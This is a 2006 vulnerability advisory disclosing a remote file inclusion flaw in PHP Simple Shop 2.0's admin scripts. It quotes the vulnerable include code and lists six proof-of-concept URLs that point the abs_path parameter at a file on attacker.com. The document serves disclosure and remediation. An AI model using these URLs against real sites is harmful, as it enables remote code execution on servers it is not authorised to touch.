ECHO_ADV_44$2006
------------------------------------------------------------------------------ [ECHO_ADV_44$2006] PHP Simple Shop <= 2.0 (abs_path) Remote File Inclusion ------------------------------------------------------------------------------ Author : Ahmad Maulana a.k.a Matdhule Date Found : August, 07th 2006 Location : Indonesia, Jakarta web : http://advisories.echo.or.id/adv/adv44-matdhule-2006.txt Critical Lvl : Highly critical Impact : System access Where : From Remote --------------------------------------------------------------------------- Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ PHP Simple Shop Application : PHP Simple Shop version : Latest version [2.0] URL : http://www.turnkeywebtools.com/phpsimpleshop --------------------------------------------------------------------------- Vulnerability: ~~~~~~~~~~~~~~ In folder admin we found vulnerability script index.php ---------------------------index.php--------------------------------------- .... <?PHP /* index.php - $DATE$ - $TIME$ - $VERSION$ PHP Simple Shop http://www.turnkeywebtools.com/phpsimpleshop/ Copyright (c) 2001-2005 Turnkey Web Tools, Inc. */ if (isset($abs_path) && $abs_path != "") { include $abs_path."admin/adminglobal.php"; } else { include "./adminglobal.php"; } ... ---------------------------------------------------------- Input passed to the "abs_path" parameter in index.php is not properly verified before being used. This can be exploited to execute arbitrary PHP code by including files from local or external resources. Also affected files : adminindex.php adminglobal.php login.php menu.php header.php Proof Of Concept: ~~~~~~~~~~~~~~~ http://target.com/[phpsimpleshop_path]/admin/index.php?abs_path=http://attacker.com/inject.txt? http://target.com/[phpsimpleshop_path]/admin/adminindex.php?abs_path=http://attacker.com/inject.txt? http://target.com/[phpsimpleshop_path]/admin/adminglobal.php?abs_path=http://attacker.com/inject.txt? http://target.com/[phpsimpleshop_path]/admin/login.php?abs_path=http://attacker.com/inject.txt? http://target.com/[phpsimpleshop_path]/admin/menu.php?abs_path=http://attacker.com/inject.txt? http://target.com/[phpsimpleshop_path]/admin/header.php?abs_path=http://attacker.com/inject.txt? Solution: ~~~~~~~ - Sanitize variable $abs_path on affected files. Notification: ~~~~~~~~~~ I've been contacting the web/software administrator to tell about this hole in his system, but instead of giving a nice response, he replied so rudely and arrogantly. I recommend not to use this product for your own sake. --------------------------------------------------------------------------- Shoutz: ~~~ ~ solpot a.k.a chris, J4mbi H4ck3r thx for the hacking lesson :) ~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous ~ bius, lapets, ghoz, t4mbun_hacker, NpR, h4ntu, thama ~ [EMAIL PROTECTED], [EMAIL PROTECTED] ~ Solpotcrew Comunity , #jambihackerlink #e-c-h-o @irc.dal.net ------------------------------------------------------------------------ --- Contact: ~~~~ matdhule[at]gmail[dot]com -------------------------------- [ EOF ]----------------------------------
